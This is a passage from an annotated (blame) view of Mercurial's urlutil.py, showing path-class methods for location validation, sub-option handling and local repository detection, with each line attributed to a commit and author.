917 if self._pushloc:
f27fbb908b10 path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49697
diff changeset
918 new._setup_url(self._pushloc)
49696
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
919 return new
0acefbbcc82a path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49694
diff changeset
920
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
921 def _validate_path(self):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
922 # When given a raw location but not a symbolic name, validate the
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
923 # location is valid.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
924 if (
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
925 not self.name
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
926 and not self.url.scheme
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
927 and not self._isvalidlocalpath(self.loc)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
928 ):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
929 raise ValueError(
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
930 b'location is not a URL or path to a local '
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
931 b'repo: %s' % self.rawloc
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
932 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
933
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
934 def _apply_suboptions(self, ui, sub_options):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
935 # Now process the sub-options. If a sub-option is registered, its
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
936 # attribute will always be present. The value will be None if there
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
937 # was no valid sub-option.
48913
f254fc73d956 global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 48743
diff changeset
938 for suboption, (attr, func) in _pathsuboptions.items():
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
939 if suboption not in sub_options:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
940 setattr(self, attr, None)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
941 continue
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
942
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
943 value = func(ui, self, sub_options[suboption])
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
944 setattr(self, attr, value)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
945
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
946 def _isvalidlocalpath(self, path):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
947 """Returns True if the given path is a potentially valid repository.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
948 This is its own function so that extensions can change the definition of
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
949 'valid' in this case (like when pulling from a git repo into a hg
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
950 one)."""
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
951 try:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
952 return os.path.isdir(os.path.join(path, b'.hg'))
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
953 # Python 2 may return TypeError. Python 3, ValueError.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
954 except (TypeError, ValueError):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
955 return False
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
956
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
957 @property
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
958 def suboptions(self):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
959 """Return sub-options and their values for this path.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
960
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
961 This is intended to be used for presentation purposes.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
962 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
963 d = {}
48913
f254fc73d956 global: bulk replace simple pycompat.iteritems(x) with x.items()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 48743
diff changeset
964 for subopt, (attr, _func) in _pathsuboptions.items():
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
965 value = getattr(self, attr)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
966 if value is not None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
967 d[subopt] = value
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
968 return d